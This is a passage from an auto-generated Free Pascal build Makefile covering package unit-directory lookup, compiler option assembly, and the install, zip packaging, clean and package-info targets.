$(PACKAGEDIR_RTL)/units/$(TARGETSUFFIX)),)\nUNITDIR_RTL=$(PACKAGEDIR_RTL)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_RTL=$(PACKAGEDIR_RTL)\nendif\nifneq ($(wildcard $(PACKAGEDIR_RTL)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_RTL)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_RTL=$(PACKAGEDIR_RTL)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_RTL)/$(OS_TARGET)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_RTL)/$(OS_TARGET) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_RTL)/$(OS_TARGET)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_RTL=\nUNITDIR_RTL:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /rtl/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_RTL),)\nUNITDIR_RTL:=$(firstword $(UNITDIR_RTL))\nelse\nUNITDIR_RTL=\nendif\nendif\nifdef UNITDIR_RTL\noverride COMPILER_UNITDIR+=$(UNITDIR_RTL)\nendif\nifdef UNITDIR_FPMAKE_RTL\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_RTL)\nendif\nendif\nifdef REQUIRE_PACKAGES_PASZLIB\nPACKAGEDIR_PASZLIB:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /paszlib/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_PASZLIB),)\nifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units/$(TARGETSUFFIX)),)\nUNITDIR_PASZLIB=$(PACKAGEDIR_PASZLIB)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_PASZLIB=$(PACKAGEDIR_PASZLIB)\nendif\nifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_PASZLIB)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_PASZLIB=$(PACKAGEDIR_PASZLIB)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_PASZLIB)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_PASZLIB) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_PASZLIB)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_PASZLIB=\nUNITDIR_PASZLIB:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /paszlib/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_PASZLIB),)\nUNITDIR_PASZLIB:=$(firstword $(UNITDIR_PASZLIB))\nelse\nUNITDIR_PASZLIB=\nendif\nendif\nifdef UNITDIR_PASZLIB\noverride COMPILER_UNITDIR+=$(UNITDIR_PASZLIB)\nendif\nifdef UNITDIR_FPMAKE_PASZLIB\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_PASZLIB)\nendif\nendif\nifdef REQUIRE_PACKAGES_FCL-PROCESS\nPACKAGEDIR_FCL-PROCESS:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /fcl-process/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_FCL-PROCESS),)\nifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units/$(TARGETSUFFIX)),)\nUNITDIR_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)\nendif\nifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_FCL-PROCESS)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_FCL-PROCESS=$(PACKAGEDIR_FCL-PROCESS)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_FCL-PROCESS)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_FCL-PROCESS) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_FCL-PROCESS)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_FCL-PROCESS=\nUNITDIR_FCL-PROCESS:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /fcl-process/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_FCL-PROCESS),)\nUNITDIR_FCL-PROCESS:=$(firstword $(UNITDIR_FCL-PROCESS))\nelse\nUNITDIR_FCL-PROCESS=\nendif\nendif\nifdef UNITDIR_FCL-PROCESS\noverride COMPILER_UNITDIR+=$(UNITDIR_FCL-PROCESS)\nendif\nifdef UNITDIR_FPMAKE_FCL-PROCESS\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_FCL-PROCESS)\nendif\nendif\nifdef REQUIRE_PACKAGES_HASH\nPACKAGEDIR_HASH:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /hash/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_HASH),)\nifneq ($(wildcard $(PACKAGEDIR_HASH)/units/$(TARGETSUFFIX)),)\nUNITDIR_HASH=$(PACKAGEDIR_HASH)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_HASH=$(PACKAGEDIR_HASH)\nendif\nifneq ($(wildcard $(PACKAGEDIR_HASH)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_HASH)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_HASH=$(PACKAGEDIR_HASH)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_HASH)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_HASH) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_HASH)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_HASH=\nUNITDIR_HASH:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /hash/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_HASH),)\nUNITDIR_HASH:=$(firstword $(UNITDIR_HASH))\nelse\nUNITDIR_HASH=\nendif\nendif\nifdef UNITDIR_HASH\noverride COMPILER_UNITDIR+=$(UNITDIR_HASH)\nendif\nifdef UNITDIR_FPMAKE_HASH\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_HASH)\nendif\nendif\nifdef REQUIRE_PACKAGES_LIBTAR\nPACKAGEDIR_LIBTAR:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /libtar/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_LIBTAR),)\nifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units/$(TARGETSUFFIX)),)\nUNITDIR_LIBTAR=$(PACKAGEDIR_LIBTAR)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_LIBTAR=$(PACKAGEDIR_LIBTAR)\nendif\nifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_LIBTAR)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_LIBTAR=$(PACKAGEDIR_LIBTAR)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_LIBTAR)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_LIBTAR) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_LIBTAR)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_LIBTAR=\nUNITDIR_LIBTAR:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /libtar/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_LIBTAR),)\nUNITDIR_LIBTAR:=$(firstword $(UNITDIR_LIBTAR))\nelse\nUNITDIR_LIBTAR=\nendif\nendif\nifdef UNITDIR_LIBTAR\noverride COMPILER_UNITDIR+=$(UNITDIR_LIBTAR)\nendif\nifdef UNITDIR_FPMAKE_LIBTAR\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_LIBTAR)\nendif\nendif\nifdef REQUIRE_PACKAGES_FPMKUNIT\nPACKAGEDIR_FPMKUNIT:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /fpmkunit/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_FPMKUNIT),)\nifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units/$(TARGETSUFFIX)),)\nUNITDIR_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units/$(TARGETSUFFIX)\nelse\nUNITDIR_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)\nendif\nifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units/$(SOURCESUFFIX)\nelse\nifneq ($(wildcard $(PACKAGEDIR_FPMKUNIT)/units_bs/$(SOURCESUFFIX)),)\nUNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)/units_bs/$(SOURCESUFFIX)\nelse\nUNITDIR_FPMAKE_FPMKUNIT=$(PACKAGEDIR_FPMKUNIT)\nendif\nendif\nifdef CHECKDEPEND\n$(PACKAGEDIR_FPMKUNIT)/$(FPCMADE):\n\t$(MAKE) -C $(PACKAGEDIR_FPMKUNIT) $(FPCMADE)\noverride ALLDEPENDENCIES+=$(PACKAGEDIR_FPMKUNIT)/$(FPCMADE)\nendif\nelse\nPACKAGEDIR_FPMKUNIT=\nUNITDIR_FPMKUNIT:=$(subst /Package.fpc,,$(strip $(wildcard $(addsuffix /fpmkunit/Package.fpc,$(UNITSDIR)))))\nifneq ($(UNITDIR_FPMKUNIT),)\nUNITDIR_FPMKUNIT:=$(firstword $(UNITDIR_FPMKUNIT))\nelse\nUNITDIR_FPMKUNIT=\nendif\nendif\nifdef UNITDIR_FPMKUNIT\noverride COMPILER_UNITDIR+=$(UNITDIR_FPMKUNIT)\nendif\nifdef UNITDIR_FPMAKE_FPMKUNIT\noverride COMPILER_FPMAKE_UNITDIR+=$(UNITDIR_FPMAKE_FPMKUNIT)\nendif\nendif\nifndef NOCPUDEF\noverride FPCOPTDEF=$(ARCH)\nendif\nifneq ($(OS_TARGET),$(OS_SOURCE))\noverride FPCOPT+=-T$(OS_TARGET)\nendif\nifneq ($(CPU_TARGET),$(CPU_SOURCE))\noverride FPCOPT+=-P$(ARCH)\nendif\nifeq ($(OS_SOURCE),openbsd)\noverride FPCOPT+=-FD$(NEW_BINUTILS_PATH)\noverride FPCMAKEOPT+=-FD$(NEW_BINUTILS_PATH)\noverride FPMAKE_BUILD_OPT+=-FD$(NEW_BINUTILS_PATH)\nendif\nifndef CROSSBOOTSTRAP\nifneq ($(BINUTILSPREFIX),)\noverride FPCOPT+=-XP$(BINUTILSPREFIX)\nendif\nifneq ($(BINUTILSPREFIX),)\noverride FPCOPT+=-Xr$(RLINKPATH)\nendif\nendif\nifndef CROSSCOMPILE\nifneq ($(BINUTILSPREFIX),)\noverride FPCMAKEOPT+=-XP$(BINUTILSPREFIX)\noverride FPMAKE_BUILD_OPT+=-XP$(BINUTILSPREFIX)\nendif\nendif\nifdef UNITDIR\noverride FPCOPT+=$(addprefix -Fu,$(UNITDIR))\nendif\nifdef LIBDIR\noverride FPCOPT+=$(addprefix -Fl,$(LIBDIR))\nendif\nifdef OBJDIR\noverride FPCOPT+=$(addprefix -Fo,$(OBJDIR))\nendif\nifdef INCDIR\noverride FPCOPT+=$(addprefix -Fi,$(INCDIR))\nendif\nifdef LINKSMART\noverride FPCOPT+=-XX\nendif\nifdef CREATESMART\noverride FPCOPT+=-CX\nendif\nifdef DEBUG\noverride FPCOPT+=-gl\noverride FPCOPTDEF+=DEBUG\nendif\nifdef RELEASE\nFPCCPUOPT:=-O2\noverride FPCOPT+=-Ur -Xs $(FPCCPUOPT) -n\noverride FPCOPTDEF+=RELEASE\nendif\nifdef STRIP\noverride FPCOPT+=-Xs\nendif\nifdef OPTIMIZE\noverride FPCOPT+=-O2\nendif\nifdef VERBOSE\noverride FPCOPT+=-vwni\nendif\nifdef COMPILER_OPTIONS\noverride FPCOPT+=$(COMPILER_OPTIONS)\nendif\nifdef COMPILER_UNITDIR\noverride FPCOPT+=$(addprefix -Fu,$(COMPILER_UNITDIR))\nendif\nifdef COMPILER_LIBRARYDIR\noverride FPCOPT+=$(addprefix -Fl,$(COMPILER_LIBRARYDIR))\nendif\nifdef COMPILER_OBJECTDIR\noverride FPCOPT+=$(addprefix -Fo,$(COMPILER_OBJECTDIR))\nendif\nifdef COMPILER_INCLUDEDIR\noverride FPCOPT+=$(addprefix -Fi,$(COMPILER_INCLUDEDIR))\nendif\nifdef CROSSBINDIR\noverride FPCOPT+=-FD$(CROSSBINDIR)\nendif\nifdef COMPILER_TARGETDIR\noverride FPCOPT+=-FE$(COMPILER_TARGETDIR)\nifeq ($(COMPILER_TARGETDIR),.)\noverride TARGETDIRPREFIX=\nelse\noverride TARGETDIRPREFIX=$(COMPILER_TARGETDIR)/\nendif\nendif\nifdef COMPILER_UNITTARGETDIR\noverride FPCOPT+=-FU$(COMPILER_UNITTARGETDIR)\nifeq ($(COMPILER_UNITTARGETDIR),.)\noverride UNITTARGETDIRPREFIX=\nelse\noverride UNITTARGETDIRPREFIX=$(COMPILER_UNITTARGETDIR)/\nendif\nelse\nifdef COMPILER_TARGETDIR\noverride COMPILER_UNITTARGETDIR=$(COMPILER_TARGETDIR)\noverride UNITTARGETDIRPREFIX=$(TARGETDIRPREFIX)\nendif\nendif\nifdef CREATESHARED\noverride FPCOPT+=-Cg\nendif\nifneq ($(findstring $(OS_TARGET),dragonfly freebsd openbsd netbsd linux solaris),)\nifneq ($(findstring $(CPU_TARGET),x86_64 mips mipsel),)\noverride FPCOPT+=-Cg\nendif\nendif\nifdef LINKSHARED\nendif\nifdef GCCLIBDIR\noverride FPCOPT+=-Fl$(GCCLIBDIR)\nifdef FPCMAKEGCCLIBDIR\noverride FPCMAKEOPT+=-Fl$(FPCMAKEGCCLIBDIR)\nelse\noverride FPCMAKEOPT+=-Fl$(GCCLIBDIR)\nendif\nendif\nifdef OTHERLIBDIR\noverride FPCOPT+=$(addprefix -Fl,$(OTHERLIBDIR))\nendif\nifdef OPT\noverride FPCOPT+=$(OPT)\nendif\nifdef FPMAKEBUILDOPT\noverride FPMAKE_BUILD_OPT+=$(FPMAKEBUILDOPT)\nendif\nifdef FPCOPTDEF\noverride FPCOPT+=$(addprefix -d,$(FPCOPTDEF))\nendif\nifdef CFGFILE\noverride FPCOPT+=@$(CFGFILE)\nendif\nifdef USEENV\noverride FPCEXTCMD:=$(FPCOPT)\noverride FPCOPT:=!FPCEXTCMD\nexport FPCEXTCMD\nendif\noverride AFULL_TARGET=$(CPU_TARGET)-$(OS_TARGET)\noverride AFULL_SOURCE=$(CPU_SOURCE)-$(OS_SOURCE)\nifneq ($(AFULL_TARGET),$(AFULL_SOURCE))\noverride ACROSSCOMPILE=1\nendif\nifdef ACROSSCOMPILE\noverride FPCOPT+=$(CROSSOPT)\nendif\noverride COMPILER:=$(strip $(FPC) $(FPCOPT))\nifneq (,$(findstring -sh ,$(COMPILER)))\nUseEXECPPAS=1\nendif\nifneq (,$(findstring -s ,$(COMPILER)))\nifeq ($(FULL_SOURCE),$(FULL_TARGET))\nUseEXECPPAS=1\nendif\nendif\nifneq ($(UseEXECPPAS),1)\nEXECPPAS=\nelse\nifdef RUNBATCH\nEXECPPAS:=@$(RUNBATCH) $(PPAS)\nelse\nEXECPPAS:=@$(PPAS)\nendif\nendif\nifdef TARGET_RSTS\noverride RSTFILES=$(addsuffix $(RSTEXT),$(TARGET_RSTS))\noverride CLEANRSTFILES+=$(RSTFILES)\nendif\n.PHONY: fpc_install fpc_sourceinstall fpc_exampleinstall\nifdef INSTALL_UNITS\noverride INSTALLPPUFILES+=$(addsuffix $(PPUEXT),$(INSTALL_UNITS))\nendif\nifdef INSTALL_BUILDUNIT\noverride INSTALLPPUFILES:=$(filter-out $(INSTALL_BUILDUNIT)$(PPUEXT),$(INSTALLPPUFILES))\nendif\nifdef INSTALLPPUFILES\nifneq ($(IMPORTLIBPREFIX)-$(STATICLIBEXT),$(STATICLIBPREFIX)-$(STATICLIBEXT))\noverride INSTALLPPULINKFILES:=$(subst $(PPUEXT),$(OEXT),$(INSTALLPPUFILES)) $(subst $(PPUEXT),$(LTOEXT),$(INSTALLPPUFILES)) $(addprefix $(STATICLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(INSTALLPPUFILES))) $(addprefix $(IMPORTLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(INSTALLPPUFILES)))\nelse\noverride INSTALLPPULINKFILES:=$(subst $(PPUEXT),$(OEXT),$(INSTALLPPUFILES)) $(subst $(PPUEXT),$(LTOEXT),$(INSTALLPPUFILES)) $(addprefix $(STATICLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(INSTALLPPUFILES)))\nendif\nifneq ($(UNITTARGETDIRPREFIX),)\noverride INSTALLPPUFILENAMES:=$(notdir $(INSTALLPPUFILES))\noverride INSTALLPPULINKFILENAMES:=$(notdir $(INSTALLPPULINKFILES))\noverride INSTALLPPUFILES=$(addprefix $(UNITTARGETDIRPREFIX),$(INSTALLPPUFILENAMES))\noverride INSTALLPPULINKFILES=$(wildcard $(addprefix $(UNITTARGETDIRPREFIX),$(INSTALLPPULINKFILENAMES)))\nendif\noverride INSTALL_CREATEPACKAGEFPC=1\nendif\nifdef INSTALLEXEFILES\nifneq ($(TARGETDIRPREFIX),)\noverride INSTALLEXEFILES:=$(addprefix $(TARGETDIRPREFIX),$(notdir $(INSTALLEXEFILES)))\nendif\nendif\nfpc_install: all $(INSTALLTARGET)\nifdef INSTALLEXEFILES\n\t$(MKDIR) $(INSTALL_BINDIR)\n\t$(INSTALLEXE) $(INSTALLEXEFILES) $(INSTALL_BINDIR)\nendif\nifdef INSTALL_CREATEPACKAGEFPC\nifdef FPCMAKE\nifdef PACKAGE_VERSION\nifneq ($(wildcard Makefile.fpc),)\n\t$(FPCMAKE) -p -T$(CPU_TARGET)-$(OS_TARGET) Makefile.fpc\n\t$(MKDIR) $(INSTALL_UNITDIR)\n\t$(INSTALL) Package.fpc $(INSTALL_UNITDIR)\nendif\nendif\nendif\nendif\nifdef INSTALLPPUFILES\n\t$(MKDIR) $(INSTALL_UNITDIR)\n\t$(INSTALL) $(INSTALLPPUFILES) $(INSTALL_UNITDIR)\nifneq ($(INSTALLPPULINKFILES),)\n\t$(INSTALL) $(INSTALLPPULINKFILES) $(INSTALL_UNITDIR)\nendif\nifneq ($(wildcard $(LIB_FULLNAME)),)\n\t$(MKDIR) $(INSTALL_LIBDIR)\n\t$(INSTALL) $(LIB_FULLNAME) $(INSTALL_LIBDIR)\nifdef inUnix\n\tln -sf $(LIB_FULLNAME) $(INSTALL_LIBDIR)/$(LIB_NAME)\nendif\nendif\nendif\nifdef INSTALL_FILES\n\t$(MKDIR) $(INSTALL_DATADIR)\n\t$(INSTALL) $(INSTALL_FILES) $(INSTALL_DATADIR)\nendif\nfpc_sourceinstall: distclean\n\t$(MKDIR) $(INSTALL_SOURCEDIR)\n\t$(COPYTREE) $(BASEDIR)/* $(INSTALL_SOURCEDIR)\nfpc_exampleinstall: $(EXAMPLEINSTALLTARGET) $(addsuffix _distclean,$(TARGET_EXAMPLEDIRS))\nifdef HASEXAMPLES\n\t$(MKDIR) $(INSTALL_EXAMPLEDIR)\nendif\nifdef EXAMPLESOURCEFILES\n\t$(COPY) $(EXAMPLESOURCEFILES) $(INSTALL_EXAMPLEDIR)\nendif\nifdef TARGET_EXAMPLEDIRS\n\t$(COPYTREE) $(addsuffix /*,$(TARGET_EXAMPLEDIRS)) $(INSTALL_EXAMPLEDIR)\nendif\n.PHONY: fpc_distinstall\nfpc_distinstall: install exampleinstall\n.PHONY: fpc_zipinstall fpc_zipsourceinstall fpc_zipexampleinstall\nifndef PACKDIR\nifndef inUnix\nPACKDIR=$(BASEDIR)/../fpc-pack\nelse\nPACKDIR=/tmp/fpc-pack\nendif\nendif\nifndef ZIPNAME\nifdef DIST_ZIPNAME\nZIPNAME=$(DIST_ZIPNAME)\nelse\nZIPNAME=$(PACKAGE_NAME)\nendif\nendif\nifndef FULLZIPNAME\nFULLZIPNAME=$(ZIPCROSSPREFIX)$(ZIPPREFIX)$(ZIPNAME)$(ZIPSUFFIX)\nendif\nifndef ZIPTARGET\nifdef DIST_ZIPTARGET\nZIPTARGET=DIST_ZIPTARGET\nelse\nZIPTARGET=install\nendif\nendif\nifndef USEZIP\nifdef inUnix\nUSETAR=1\nendif\nendif\nifndef inUnix\nUSEZIPWRAPPER=1\nendif\nifdef USEZIPWRAPPER\nZIPPATHSEP=$(PATHSEP)\nZIPWRAPPER=$(subst /,$(PATHSEP),$(DIST_DESTDIR)/fpczip$(SRCBATCHEXT))\nelse\nZIPPATHSEP=/\nendif\nZIPCMD_CDPACK:=cd $(subst /,$(ZIPPATHSEP),$(PACKDIR))\nZIPCMD_CDBASE:=cd $(subst /,$(ZIPPATHSEP),$(BASEDIR))\nifdef USETAR\nZIPDESTFILE:=$(DIST_DESTDIR)/$(FULLZIPNAME)$(TAREXT)\nZIPCMD_ZIP:=$(TARPROG) c$(TAROPT)f $(ZIPDESTFILE) *\nelse\nZIPDESTFILE:=$(DIST_DESTDIR)/$(FULLZIPNAME)$(ZIPEXT)\nZIPCMD_ZIP:=$(subst /,$(ZIPPATHSEP),$(ZIPPROG)) -Dr $(ZIPOPT) $(ZIPDESTFILE) *\nendif\nfpc_zipinstall:\n\t$(MAKE) $(ZIPTARGET) INSTALL_PREFIX=$(PACKDIR) ZIPINSTALL=1\n\t$(MKDIR) $(DIST_DESTDIR)\n\t$(DEL) $(ZIPDESTFILE)\nifdef USEZIPWRAPPER\nifneq ($(ECHOREDIR),echo)\n\t$(ECHOREDIR) -e \"$(subst \\,\\\\,$(ZIPCMD_CDPACK))\" > $(ZIPWRAPPER)\n\t$(ECHOREDIR) -e \"$(subst \\,\\\\,$(ZIPCMD_ZIP))\" >> $(ZIPWRAPPER)\n\t$(ECHOREDIR) -e \"$(subst \\,\\\\,$(ZIPCMD_CDBASE))\" >> $(ZIPWRAPPER)\nelse\n\techo $(ZIPCMD_CDPACK) > $(ZIPWRAPPER)\n\techo $(ZIPCMD_ZIP) >> $(ZIPWRAPPER)\n\techo $(ZIPCMD_CDBASE) >> $(ZIPWRAPPER)\nendif\nifdef inUnix\n\t/bin/sh $(ZIPWRAPPER)\nelse\nifdef RUNBATCH\n\t$(RUNBATCH) $(ZIPWRAPPER)\nelse\n\t$(ZIPWRAPPER)\nendif\nendif\n\t$(DEL) $(ZIPWRAPPER)\nelse\n\t$(ZIPCMD_CDPACK) ; $(ZIPCMD_ZIP) ; $(ZIPCMD_CDBASE)\nendif\n\t$(DELTREE) $(PACKDIR)\nfpc_zipsourceinstall:\n\t$(MAKE) fpc_zipinstall ZIPTARGET=sourceinstall ZIPSUFFIX=$(ZIPSOURCESUFFIX)\nfpc_zipexampleinstall:\nifdef HASEXAMPLES\n\t$(MAKE) fpc_zipinstall ZIPTARGET=exampleinstall ZIPSUFFIX=$(ZIPEXAMPLESUFFIX)\nendif\nfpc_zipdistinstall:\n\t$(MAKE) fpc_zipinstall ZIPTARGET=distinstall\n.PHONY: fpc_clean fpc_cleanall fpc_distclean\nifdef EXEFILES\noverride CLEANEXEFILES:=$(addprefix $(TARGETDIRPREFIX),$(CLEANEXEFILES))\noverride CLEANEXEDBGFILES:=$(addprefix $(TARGETDIRPREFIX),$(CLEANEXEDBGFILES))\nendif\nifdef CLEAN_PROGRAMS\noverride CLEANEXEFILES+=$(addprefix $(TARGETDIRPREFIX),$(addsuffix $(EXEEXT), $(CLEAN_PROGRAMS)))\noverride CLEANEXEDBGFILES+=$(addprefix $(TARGETDIRPREFIX),$(addsuffix $(EXEDBGEXT), $(CLEAN_PROGRAMS)))\nendif\nifdef CLEAN_UNITS\noverride CLEANPPUFILES+=$(addsuffix $(PPUEXT),$(CLEAN_UNITS))\nendif\nifdef CLEANPPUFILES\noverride CLEANPPULINKFILES:=$(subst $(PPUEXT),$(OEXT),$(CLEANPPUFILES)) $(subst $(PPUEXT),$(LTOEXT),$(CLEANPPUFILES)) $(addprefix $(STATICLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(CLEANPPUFILES))) $(addprefix $(IMPORTLIBPREFIX),$(subst $(PPUEXT),$(STATICLIBEXT),$(CLEANPPUFILES)))\nifdef DEBUGSYMEXT\noverride CLEANPPULINKFILES+=$(subst $(PPUEXT),$(DEBUGSYMEXT),$(CLEANPPUFILES))\nendif\noverride CLEANPPUFILENAMES:=$(CLEANPPUFILES)\noverride CLEANPPUFILES=$(addprefix $(UNITTARGETDIRPREFIX),$(CLEANPPUFILENAMES))\noverride CLEANPPULINKFILENAMES:=$(CLEANPPULINKFILES)\noverride CLEANPPULINKFILES=$(wildcard $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANPPULINKFILENAMES)))\nendif\nfpc_clean: $(CLEANTARGET)\nifdef CLEANEXEFILES\n\t-$(DEL) $(CLEANEXEFILES)\nendif\nifdef CLEANEXEDBGFILES\n\t-$(DELTREE) $(CLEANEXEDBGFILES)\nendif\nifdef CLEANPPUFILES\n\t-$(DEL) $(CLEANPPUFILES)\nendif\nifneq ($(CLEANPPULINKFILES),)\n\t-$(DEL) $(CLEANPPULINKFILES)\nendif\nifdef CLEANRSTFILES\n\t-$(DEL) $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANRSTFILES))\nendif\nifdef CLEAN_FILES\n\t-$(DEL) $(CLEAN_FILES)\nendif\nifdef LIB_NAME\n\t-$(DEL) $(LIB_NAME) $(LIB_FULLNAME)\nendif\n\t-$(DEL) $(FPCMADE) *$(FULL_TARGET).fpm Package.fpc *$(ASMEXT)\n\t-$(DEL) $(FPCEXTFILE) $(REDIRFILE) script*.res link*.res *_script.res *_link.res\n\t-$(DEL) $(PPAS) *_ppas$(BATCHEXT) ppas$(BATCHEXT) ppaslink$(BATCHEXT)\nfpc_cleanall: $(CLEANTARGET)\nifdef CLEANEXEFILES\n\t-$(DEL) $(CLEANEXEFILES)\nendif\nifdef COMPILER_UNITTARGETDIR\nifdef CLEANPPUFILES\n\t-$(DEL) $(CLEANPPUFILES)\nendif\nifneq ($(CLEANPPULINKFILES),)\n\t-$(DEL) $(CLEANPPULINKFILES)\nendif\nifdef CLEANRSTFILES\n\t-$(DEL) $(addprefix $(UNITTARGETDIRPREFIX),$(CLEANRSTFILES))\nendif\nendif\nifdef CLEAN_FILES\n\t-$(DEL) $(CLEAN_FILES)\nendif\n\t-$(DELTREE) units\n\t-$(DELTREE) bin\n\t-$(DEL) *$(OEXT) *$(LTOEXT) *$(PPUEXT) *$(RSTEXT) *$(ASMEXT) *$(STATICLIBEXT) *$(SHAREDLIBEXT) *$(PPLEXT)\nifneq ($(PPUEXT),.ppu)\n\t-$(DEL) *.o *.ppu *.a\nendif\n\t-$(DELTREE) *$(SMARTEXT)\n\t-$(DEL) fpcmade.* Package.fpc *.fpm\n\t-$(DEL) $(FPCEXTFILE) $(REDIRFILE) script*.res link*.res *_script.res *_link.res\n\t-$(DEL) $(PPAS) *_ppas$(BATCHEXT) ppas$(BATCHEXT) ppaslink$(BATCHEXT)\nifdef AOUTEXT\n\t-$(DEL) *$(AOUTEXT)\nendif\nifdef DEBUGSYMEXT\n\t-$(DEL) *$(DEBUGSYMEXT)\nendif\nifdef LOCALFPMAKEBIN\n\t-$(DEL) $(LOCALFPMAKEBIN)\n\t-$(DEL) $(FPMAKEBINOBJ)\nendif\nfpc_distclean: cleanall\n.PHONY: fpc_baseinfo\noverride INFORULES+=fpc_baseinfo\nfpc_baseinfo:\n\t@$(ECHO)\n\t@$(ECHO) == Package info ==\n\t@$(ECHO) Package Name..... $(PACKAGE_NAME)\n\t@$(ECHO) Package Version.. 